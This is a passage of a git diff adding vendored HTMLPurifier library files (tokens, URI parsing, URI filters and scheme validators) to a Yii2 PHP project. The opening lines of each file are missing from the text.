lower-cases passed tag name. + * + * @param string $name String name. + * @param array $attr Associative array of attributes. + * @param int $line + * @param int $col + * @param array $armor + */ + public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) + { + $this->name = ctype_lower($name) ? $name : strtolower($name); + foreach ($attr as $key => $value) { + // normalization only necessary when key is not lowercase + if (!ctype_lower($key)) { + $new_key = strtolower($key); + if (!isset($attr[$new_key])) { + $attr[$new_key] = $attr[$key]; + } + if ($new_key !== $key) { + unset($attr[$key]); + } + } + } + $this->attr = $attr; + $this->line = $line; + $this->col = $col; + $this->armor = $armor; + } + + public function toNode() { + return new HTMLPurifier_Node_Element($this->name, $this->attr, $this->line, $this->col, $this->armor); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php new file mode 100644 index 00000000..f26a1c21 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Token/Text.php @@ -0,0 +1,53 @@ +data = $data; + $this->is_whitespace = ctype_space($data); + $this->line = $line; + $this->col = $col; + } + + public function toNode() { + return new HTMLPurifier_Node_Text($this->data, $this->is_whitespace, $this->line, $this->col); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php new file mode 100644 index 00000000..dea2446b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/TokenFactory.php @@ -0,0 +1,118 @@ +p_start = new HTMLPurifier_Token_Start('', array()); + $this->p_end = new HTMLPurifier_Token_End(''); + $this->p_empty = new HTMLPurifier_Token_Empty('', array()); + $this->p_text = new HTMLPurifier_Token_Text(''); + $this->p_comment = new HTMLPurifier_Token_Comment(''); + } + + /** + * Creates a HTMLPurifier_Token_Start. + * @param string $name Tag name + * @param array $attr Associative array of attributes + * @return HTMLPurifier_Token_Start Generated HTMLPurifier_Token_Start + */ + public function createStart($name, $attr = array()) + { + $p = clone $this->p_start; + $p->__construct($name, $attr); + return $p; + } + + /** + * Creates a HTMLPurifier_Token_End. + * @param string $name Tag name + * @return HTMLPurifier_Token_End Generated HTMLPurifier_Token_End + */ + public function createEnd($name) + { + $p = clone $this->p_end; + $p->__construct($name); + return $p; + } + + /** + * Creates a HTMLPurifier_Token_Empty. + * @param string $name Tag name + * @param array $attr Associative array of attributes + * @return HTMLPurifier_Token_Empty Generated HTMLPurifier_Token_Empty + */ + public function createEmpty($name, $attr = array()) + { + $p = clone $this->p_empty; + $p->__construct($name, $attr); + return $p; + } + + /** + * Creates a HTMLPurifier_Token_Text. + * @param string $data Data of text token + * @return HTMLPurifier_Token_Text Generated HTMLPurifier_Token_Text + */ + public function createText($data) + { + $p = clone $this->p_text; + $p->__construct($data); + return $p; + } + + /** + * Creates a HTMLPurifier_Token_Comment. + * @param string $data Data of comment token + * @return HTMLPurifier_Token_Comment Generated HTMLPurifier_Token_Comment + */ + public function createComment($data) + { + $p = clone $this->p_comment; + $p->__construct($data); + return $p; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php new file mode 100644 index 00000000..a5e7ae29 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URI.php @@ -0,0 +1,314 @@ +scheme = is_null($scheme) || ctype_lower($scheme) ? $scheme : strtolower($scheme); + $this->userinfo = $userinfo; + $this->host = $host; + $this->port = is_null($port) ? $port : (int)$port; + $this->path = $path; + $this->query = $query; + $this->fragment = $fragment; + } + + /** + * Retrieves a scheme object corresponding to the URI's scheme/default + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return HTMLPurifier_URIScheme Scheme object appropriate for validating this URI + */ + public function getSchemeObj($config, $context) + { + $registry = HTMLPurifier_URISchemeRegistry::instance(); + if ($this->scheme !== null) { + $scheme_obj = $registry->getScheme($this->scheme, $config, $context); + if (!$scheme_obj) { + return false; + } // invalid scheme, clean it out + } else { + // no scheme: retrieve the default one + $def = $config->getDefinition('URI'); + $scheme_obj = $def->getDefaultScheme($config, $context); + if (!$scheme_obj) { + // something funky happened to the default scheme object + trigger_error( + 'Default scheme object "' . $def->defaultScheme . '" was not readable', + E_USER_WARNING + ); + return false; + } + } + return $scheme_obj; + } + + /** + * Generic validation method applicable for all schemes. May modify + * this URI in order to get it into a compliant form. + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool True if validation/filtering succeeds, false if failure + */ + public function validate($config, $context) + { + // ABNF definitions from RFC 3986 + $chars_sub_delims = '!$&\'()*+,;='; + $chars_gen_delims = ':/?#[]@'; + $chars_pchar = $chars_sub_delims . ':@'; + + // validate host + if (!is_null($this->host)) { + $host_def = new HTMLPurifier_AttrDef_URI_Host(); + $this->host = $host_def->validate($this->host, $config, $context); + if ($this->host === false) { + $this->host = null; + } + } + + // validate scheme + // NOTE: It's not appropriate to check whether or not this + // scheme is in our registry, since a URIFilter may convert a + // URI that we don't allow into one we do. So instead, we just + // check if the scheme can be dropped because there is no host + // and it is our default scheme. + if (!is_null($this->scheme) && is_null($this->host) || $this->host === '') { + // support for relative paths is pretty abysmal when the + // scheme is present, so axe it when possible + $def = $config->getDefinition('URI'); + if ($def->defaultScheme === $this->scheme) { + $this->scheme = null; + } + } + + // validate username + if (!is_null($this->userinfo)) { + $encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . ':'); + $this->userinfo = $encoder->encode($this->userinfo); + } + + // validate port + if (!is_null($this->port)) { + if ($this->port < 1 || $this->port > 65535) { + $this->port = null; + } + } + + // validate path + $segments_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/'); + if (!is_null($this->host)) { // this catches $this->host === '' + // path-abempty (hier and relative) + // http://www.example.com/my/path + // //www.example.com/my/path (looks odd, but works, and + // recognized by most browsers) + // (this set is valid or invalid on a scheme by scheme + // basis, so we'll deal with it later) + // file:///my/path + // ///my/path + $this->path = $segments_encoder->encode($this->path); + } elseif ($this->path !== '') { + if ($this->path[0] === '/') { + // path-absolute (hier and relative) + // http:/my/path + // /my/path + if (strlen($this->path) >= 2 && $this->path[1] === '/') { + // This could happen if both the host gets stripped + // out + // http://my/path + // //my/path + $this->path = ''; + } else { + $this->path = $segments_encoder->encode($this->path); + } + } elseif (!is_null($this->scheme)) { + // path-rootless (hier) + // http:my/path + // Short circuit evaluation means we don't need to check nz + $this->path = $segments_encoder->encode($this->path); + } else { + // path-noscheme (relative) + // my/path + // (once again, not checking nz) + $segment_nc_encoder = new HTMLPurifier_PercentEncoder($chars_sub_delims . '@'); + $c = strpos($this->path, '/'); + if ($c !== false) { + $this->path = + $segment_nc_encoder->encode(substr($this->path, 0, $c)) . + $segments_encoder->encode(substr($this->path, $c)); + } else { + $this->path = $segment_nc_encoder->encode($this->path); + } + } + } else { + // path-empty (hier and relative) + $this->path = ''; // just to be safe + } + + // qf = query and fragment + $qf_encoder = new HTMLPurifier_PercentEncoder($chars_pchar . '/?'); + + if (!is_null($this->query)) { + $this->query = $qf_encoder->encode($this->query); + } + + if (!is_null($this->fragment)) { + $this->fragment = $qf_encoder->encode($this->fragment); + } + return true; + } + + /** + * Convert URI back to string + * @return string URI appropriate for output + */ + public function toString() + { + // reconstruct authority + $authority = null; + // there is a rendering difference between a null authority + // (http:foo-bar) and an empty string authority + // (http:///foo-bar). + if (!is_null($this->host)) { + $authority = ''; + if (!is_null($this->userinfo)) { + $authority .= $this->userinfo . '@'; + } + $authority .= $this->host; + if (!is_null($this->port)) { + $authority .= ':' . $this->port; + } + } + + // Reconstruct the result + // One might wonder about parsing quirks from browsers after + // this reconstruction. Unfortunately, parsing behavior depends + // on what *scheme* was employed (file:///foo is handled *very* + // differently than http:///foo), so unfortunately we have to + // defer to the schemes to do the right thing. + $result = ''; + if (!is_null($this->scheme)) { + $result .= $this->scheme . ':'; + } + if (!is_null($authority)) { + $result .= '//' . $authority; + } + $result .= $this->path; + if (!is_null($this->query)) { + $result .= '?' . $this->query; + } + if (!is_null($this->fragment)) { + $result .= '#' . $this->fragment; + } + + return $result; + } + + /** + * Returns true if this URL might be considered a 'local' URL given + * the current context. This is true when the host is null, or + * when it matches the host supplied to the configuration. + * + * Note that this does not do any scheme checking, so it is mostly + * only appropriate for metadata that doesn't care about protocol + * security. isBenign is probably what you actually want. + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function isLocal($config, $context) + { + if ($this->host === null) { + return true; + } + $uri_def = $config->getDefinition('URI'); + if ($uri_def->host === $this->host) { + return true; + } + return false; + } + + /** + * Returns true if this URL should be considered a 'benign' URL, + * that is: + * + * - It is a local URL (isLocal), and + * - It has a equal or better level of security + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function isBenign($config, $context) + { + if (!$this->isLocal($config, $context)) { + return false; + } + + $scheme_obj = $this->getSchemeObj($config, $context); + if (!$scheme_obj) { + return false; + } // conservative approach + + $current_scheme_obj = $config->getDefinition('URI')->getDefaultScheme($config, $context); + if ($current_scheme_obj->secure) { + if (!$scheme_obj->secure) { + return false; + } + } + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php new file mode 100644 index 00000000..e0bd8bcc --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIDefinition.php @@ -0,0 +1,112 @@ +registerFilter(new HTMLPurifier_URIFilter_DisableExternal()); + $this->registerFilter(new HTMLPurifier_URIFilter_DisableExternalResources()); + $this->registerFilter(new HTMLPurifier_URIFilter_DisableResources()); + $this->registerFilter(new HTMLPurifier_URIFilter_HostBlacklist()); + $this->registerFilter(new HTMLPurifier_URIFilter_SafeIframe()); + $this->registerFilter(new HTMLPurifier_URIFilter_MakeAbsolute()); + $this->registerFilter(new HTMLPurifier_URIFilter_Munge()); + } + + public function registerFilter($filter) + { + $this->registeredFilters[$filter->name] = $filter; + } + + public function addFilter($filter, $config) + { + $r = $filter->prepare($config); + if ($r === false) return; // null is ok, for backwards compat + if ($filter->post) { + $this->postFilters[$filter->name] = $filter; + } else { + $this->filters[$filter->name] = $filter; + } + } + + protected function doSetup($config) + { + $this->setupMemberVariables($config); + $this->setupFilters($config); + } + + protected function setupFilters($config) + { + foreach ($this->registeredFilters as $name => $filter) { + if ($filter->always_load) { + $this->addFilter($filter, $config); + } else { + $conf = $config->get('URI.' . $name); + if ($conf !== false && $conf !== null) { + $this->addFilter($filter, $config); + } + } + } + unset($this->registeredFilters); + } + + protected function setupMemberVariables($config) + { + $this->host = $config->get('URI.Host'); + $base_uri = $config->get('URI.Base'); + if (!is_null($base_uri)) { + $parser = new HTMLPurifier_URIParser(); + $this->base = $parser->parse($base_uri); + $this->defaultScheme = $this->base->scheme; + if (is_null($this->host)) $this->host = $this->base->host; + } + if (is_null($this->defaultScheme)) $this->defaultScheme = $config->get('URI.DefaultScheme'); + } + + public function getDefaultScheme($config, $context) + { + return HTMLPurifier_URISchemeRegistry::instance()->getScheme($this->defaultScheme, $config, $context); + } + + public function filter(&$uri, $config, $context) + { + foreach ($this->filters as $name => $f) { + $result = $f->filter($uri, $config, $context); + if (!$result) return false; + } + return true; + } + + public function postFilter(&$uri, $config, $context) + { + foreach ($this->postFilters as $name => $f) { + $result = $f->filter($uri, $config, $context); + if (!$result) return false; + } + return true; + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php new file mode 100644 index 00000000..09724e9f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter.php @@ -0,0 +1,74 @@ +getDefinition('URI')->host; + if ($our_host !== null) { + $this->ourHostParts = array_reverse(explode('.', $our_host)); + } + } + + /** + * @param HTMLPurifier_URI $uri Reference + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function filter(&$uri, $config, $context) + { + if (is_null($uri->host)) { + return true; + } + if ($this->ourHostParts === false) { + return false; + } + $host_parts = array_reverse(explode('.', $uri->host)); + foreach ($this->ourHostParts as $i => $x) { + if (!isset($host_parts[$i])) { + return false; + } + if ($host_parts[$i] != $this->ourHostParts[$i]) { + return false; + } + } + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php new file mode 100644 index 00000000..c6562169 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.php @@ -0,0 +1,25 @@ +get('EmbeddedURI', true)) { + return true; + } + return parent::filter($uri, $config, $context); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php new file mode 100644 index 00000000..d5c412c4 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.php @@ -0,0 +1,22 @@ +get('EmbeddedURI', true); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php new file mode 100644 index 00000000..a6645c17 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.php @@ -0,0 +1,46 @@ +blacklist = $config->get('URI.HostBlacklist'); + return true; + } + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function filter(&$uri, $config, $context) + { + foreach ($this->blacklist as $blacklisted_host_fragment) { + if (strpos($uri->host, $blacklisted_host_fragment) !== false) { + return false; + } + } + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php new file mode 100644 index 00000000..c507bbff --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.php @@ -0,0 +1,158 @@ +getDefinition('URI'); + $this->base = $def->base; + if (is_null($this->base)) { + trigger_error( + 'URI.MakeAbsolute is being ignored due to lack of ' . + 'value for URI.Base configuration', + E_USER_WARNING + ); + return false; + } + $this->base->fragment = null; // fragment is invalid for base URI + $stack = explode('/', $this->base->path); + array_pop($stack); // discard last segment + $stack = $this->_collapseStack($stack); // do pre-parsing + $this->basePathStack = $stack; + return true; + } + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function filter(&$uri, $config, $context) + { + if (is_null($this->base)) { + return true; + } // abort early + if ($uri->path === '' && is_null($uri->scheme) && + is_null($uri->host) && is_null($uri->query) && is_null($uri->fragment)) { + // reference to current document + $uri = clone $this->base; + return true; + } + if (!is_null($uri->scheme)) { + // absolute URI already: don't change + if (!is_null($uri->host)) { + return true; + } + $scheme_obj = $uri->getSchemeObj($config, $context); + if (!$scheme_obj) { + // scheme not recognized + return false; + } + if (!$scheme_obj->hierarchical) { + // non-hierarchal URI with explicit scheme, don't change + return true; + } + // special case: had a scheme but always is hierarchical and had no authority + } + if (!is_null($uri->host)) { + // network path, don't bother + return true; + } + if ($uri->path === '') { + $uri->path = $this->base->path; + } elseif ($uri->path[0] !== '/') { + // relative path, needs more complicated processing + $stack = explode('/', $uri->path); + $new_stack = array_merge($this->basePathStack, $stack); + if ($new_stack[0] !== '' && !is_null($this->base->host)) { + array_unshift($new_stack, ''); + } + $new_stack = $this->_collapseStack($new_stack); + $uri->path = implode('/', $new_stack); + } else { + // absolute path, but still we should collapse + $uri->path = implode('/', $this->_collapseStack(explode('/', $uri->path))); + } + // re-combine + $uri->scheme = $this->base->scheme; + if (is_null($uri->userinfo)) { + $uri->userinfo = $this->base->userinfo; + } + if (is_null($uri->host)) { + $uri->host = $this->base->host; + } + if (is_null($uri->port)) { + $uri->port = $this->base->port; + } + return true; + } + + /** + * Resolve dots and double-dots in a path stack + * @param array $stack + * @return array + */ + private function _collapseStack($stack) + { + $result = array(); + $is_folder = false; + for ($i = 0; isset($stack[$i]); $i++) { + $is_folder = false; + // absorb an internally duplicated slash + if ($stack[$i] == '' && $i && isset($stack[$i + 1])) { + continue; + } + if ($stack[$i] == '..') { + if (!empty($result)) { + $segment = array_pop($result); + if ($segment === '' && empty($result)) { + // error case: attempted to back out too far: + // restore the leading slash + $result[] = ''; + } elseif ($segment === '..') { + $result[] = '..'; // cannot remove .. with .. + } + } else { + // relative path, preserve the double-dots + $result[] = '..'; + } + $is_folder = true; + continue; + } + if ($stack[$i] == '.') { + // silently absorb + $is_folder = true; + continue; + } + $result[] = $stack[$i]; + } + if ($is_folder) { + $result[] = ''; + } + return $result; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php new file mode 100644 index 00000000..6e03315a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/Munge.php @@ -0,0 +1,115 @@ +target = $config->get('URI.' . $this->name); + $this->parser = new HTMLPurifier_URIParser(); + $this->doEmbed = $config->get('URI.MungeResources'); + $this->secretKey = $config->get('URI.MungeSecretKey'); + if ($this->secretKey && !function_exists('hash_hmac')) { + throw new Exception("Cannot use %URI.MungeSecretKey without hash_hmac support."); + } + return true; + } + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function filter(&$uri, $config, $context) + { + if ($context->get('EmbeddedURI', true) && !$this->doEmbed) { + return true; + } + + $scheme_obj = $uri->getSchemeObj($config, $context); + if (!$scheme_obj) { + return true; + } // ignore unknown schemes, maybe another postfilter did it + if (!$scheme_obj->browsable) { + return true; + } // ignore non-browseable schemes, since we can't munge those in a reasonable way + if ($uri->isBenign($config, $context)) { + return true; + } // don't redirect if a benign URL + + $this->makeReplace($uri, $config, $context); + $this->replace = array_map('rawurlencode', $this->replace); + + $new_uri = strtr($this->target, $this->replace); + $new_uri = $this->parser->parse($new_uri); + // don't redirect if the target host is the same as the + // starting host + if ($uri->host === $new_uri->host) { + return true; + } + $uri = $new_uri; // overwrite + return true; + } + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + */ + protected function makeReplace($uri, $config, $context) + { + $string = $uri->toString(); + // always available + $this->replace['%s'] = $string; + $this->replace['%r'] = $context->get('EmbeddedURI', true); + $token = $context->get('CurrentToken', true); + $this->replace['%n'] = $token ? $token->name : null; + $this->replace['%m'] = $context->get('CurrentAttr', true); + $this->replace['%p'] = $context->get('CurrentCSSProperty', true); + // not always available + if ($this->secretKey) { + $this->replace['%t'] = hash_hmac("sha256", $string, $this->secretKey); + } + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php new file mode 100644 index 00000000..f609c47a --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.php @@ -0,0 +1,68 @@ +regexp = $config->get('URI.SafeIframeRegexp'); + return true; + } + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function filter(&$uri, $config, $context) + { + // check if filter not applicable + if (!$config->get('HTML.SafeIframe')) { + return true; + } + // check if the filter should actually trigger + if (!$context->get('EmbeddedURI', true)) { + return true; + } + $token = $context->get('CurrentToken', true); + if (!($token && $token->name == 'iframe')) { + return true; + } + // check if we actually have some whitelists enabled + if ($this->regexp === null) { + return false; + } + // actually check the whitelists + return preg_match($this->regexp, $uri->toString()); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php new file mode 100644 index 00000000..0e7381a0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIParser.php @@ -0,0 +1,71 @@ +percentEncoder = new HTMLPurifier_PercentEncoder(); + } + + /** + * Parses a URI. + * @param $uri string URI to parse + * @return HTMLPurifier_URI representation of URI. This representation has + * not been validated yet and may not conform to RFC. + */ + public function parse($uri) + { + $uri = $this->percentEncoder->normalize($uri); + + // Regexp is as per Appendix B. + // Note that ["<>] are an addition to the RFC's recommended + // characters, because they represent external delimeters. + $r_URI = '!'. + '(([a-zA-Z0-9\.\+\-]+):)?'. // 2. Scheme + '(//([^/?#"<>]*))?'. // 4. Authority + '([^?#"<>]*)'. // 5. Path + '(\?([^#"<>]*))?'. // 7. Query + '(#([^"<>]*))?'. // 8. Fragment + '!'; + + $matches = array(); + $result = preg_match($r_URI, $uri, $matches); + + if (!$result) return false; // *really* invalid URI + + // seperate out parts + $scheme = !empty($matches[1]) ? $matches[2] : null; + $authority = !empty($matches[3]) ? $matches[4] : null; + $path = $matches[5]; // always present, can be empty + $query = !empty($matches[6]) ? $matches[7] : null; + $fragment = !empty($matches[8]) ? $matches[9] : null; + + // further parse authority + if ($authority !== null) { + $r_authority = "/^((.+?)@)?(\[[^\]]+\]|[^:]*)(:(\d*))?/"; + $matches = array(); + preg_match($r_authority, $authority, $matches); + $userinfo = !empty($matches[1]) ? $matches[2] : null; + $host = !empty($matches[3]) ? $matches[3] : ''; + $port = !empty($matches[4]) ? (int) $matches[5] : null; + } else { + $port = $host = $userinfo = null; + } + + return new HTMLPurifier_URI( + $scheme, $userinfo, $host, $port, $path, $query, $fragment); + } + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php new file mode 100644 index 00000000..fe9e82cf --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme.php @@ -0,0 +1,102 @@ +, resolves edge cases + * with making relative URIs absolute + * @type bool + */ + public $hierarchical = false; + + /** + * Whether or not the URI may omit a hostname when the scheme is + * explicitly specified, ala file:///path/to/file. As of writing, + * 'file' is the only scheme that browsers support his properly. + * @type bool + */ + public $may_omit_host = false; + + /** + * Validates the components of a URI for a specific scheme. + * @param HTMLPurifier_URI $uri Reference to a HTMLPurifier_URI object + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool success or failure + */ + abstract public function doValidate(&$uri, $config, $context); + + /** + * Public interface for validating components of a URI. Performs a + * bunch of default actions. Don't overload this method. + * @param HTMLPurifier_URI $uri Reference to a HTMLPurifier_URI object + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool success or failure + */ + public function validate(&$uri, $config, $context) + { + if ($this->default_port == $uri->port) { + $uri->port = null; + } + // kludge: browsers do funny things when the scheme but not the + // authority is set + if (!$this->may_omit_host && + // if the scheme is present, a missing host is always in error + (!is_null($uri->scheme) && ($uri->host === '' || is_null($uri->host))) || + // if the scheme is not present, a *blank* host is in error, + // since this translates into '///path' which most browsers + // interpret as being 'http://path'. + (is_null($uri->scheme) && $uri->host === '') + ) { + do { + if (is_null($uri->scheme)) { + if (substr($uri->path, 0, 2) != '//') { + $uri->host = null; + break; + } + // URI is '////path', so we cannot nullify the + // host to preserve semantics. Try expanding the + // hostname instead (fall through) + } + // first see if we can manually insert a hostname + $host = $config->get('URI.Host'); + if (!is_null($host)) { + $uri->host = $host; + } else { + // we can't do anything sensible, reject the URL. + return false; + } + } while (false); + } + return $this->doValidate($uri, $config, $context); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php new file mode 100644 index 00000000..6ebca498 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/data.php @@ -0,0 +1,127 @@ + true, + 'image/gif' => true, + 'image/png' => true, + ); + // this is actually irrelevant since we only write out the path + // component + /** + * @type bool + */ + public $may_omit_host = true; + + /** + * @param HTMLPurifier_URI $uri + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool + */ + public function doValidate(&$uri, $config, $context) + { + $result = explode(',', $uri->path, 2); + $is_base64 = false; + $charset = null; + $content_type = null; + if (count($result) == 2) { + list($metadata, $data) = $result; + // do some legwork on the metadata + $metas = explode(';', $metadata); + while (!empty($metas)) { + $cur = array_shift($metas); + if ($cur == 'base64') { + $is_base64 = true; + break; + } + if (substr($cur, 0, 8) == 'charset=') { + // doesn't match if there are arbitrary spaces, but + // whatever dude + if ($charset !== null) { + continue; + } // garbage + $charset = substr($cur, 8); // not used + } else { + if ($content_type !== null) { + continue; + } // garbage + $content_type = $cur; + } + } + } else { + $data = $result[0]; + } + if ($content_type !== null && empty($this->allowed_types[$content_type])) { + return false; + } + if ($charset !== null) { + // error; we don't allow plaintext stuff + $charset = null; + } + $data = rawurldecode($data); + if ($is_base64) { + $raw_data = base64_decode($data); + } else { + $raw_data = $data; + } + // XXX probably want to refactor this into a general mechanism + // for filtering arbitrary content types + $file = tempnam("/tmp", ""); + file_put_contents($file, $raw_data); + if (function_exists('exif_imagetype')) { + $image_code = exif_imagetype($file); + unlink($file); + } elseif (function_exists('getimagesize')) { + set_error_handler(array($this, 'muteErrorHandler')); + $info = getimagesize($file); + restore_error_handler(); + unlink($file); + if ($info == false) { + return false; + } + $image_code = $info[2]; + } else { + trigger_error("could not find exif_imagetype or getimagesize functions", E_USER_ERROR); + } + $real_content_type = image_type_to_mime_type($image_code); + if ($real_content_type != $content_type) { + // we're nice guys; if the content type is something else we + // support, change it over + if (empty($this->allowed_types[$real_content_type])) { + return false; + } + $content_type = $real_content_type; + } + // ok, it's kosher, rewrite what we need + $uri->userinfo = null; + $uri->host = null; + $uri->port = null; + $uri->fragment = null; + $uri->query = null; + $uri->path = "$content_type;base64," . base64_encode($raw_data); + return true; + } + + /** + * @param int $errno + * @param string $errstr + */ + public function muteErrorHandler($errno, $errstr) + { + } +} diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php new file mode 100644 index 00000000..215be4ba --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/file.php @@ -0,0 +1,44 @@ +userinfo = null; + // file:// makes no provisions for accessing the resource + $uri->port = null; + // While it seems to work on Firefox, the querystring has + // no possible effect and is thus stripped. + $uri->query = null; + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php new file mode 100644 index 00000000..1eb43ee5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/ftp.php @@ -0,0 +1,58 @@ +query = null; + + // typecode check + $semicolon_pos = strrpos($uri->path, ';'); // reverse + if ($semicolon_pos !== false) { + $type = substr($uri->path, $semicolon_pos + 1); // no semicolon + $uri->path = substr($uri->path, 0, $semicolon_pos); + $type_ret = ''; + if (strpos($type, '=') !== false) { + // figure out whether or not the declaration is correct + list($key, $typecode) = explode('=', $type, 2); + if ($key !== 'type') { + // invalid key, tack it back on encoded + $uri->path .= '%3B' . $type; + } elseif ($typecode === 'a' || $typecode === 'i' || $typecode === 'd') { + $type_ret = ";type=$typecode"; + } + } else { + $uri->path .= '%3B' . $type; + } + $uri->path = str_replace(';', '%3B', $uri->path); + $uri->path .= $type_ret; + } + return true; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php new file mode 100644 index 00000000..ce69ec43 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/URIScheme/http.php @@ 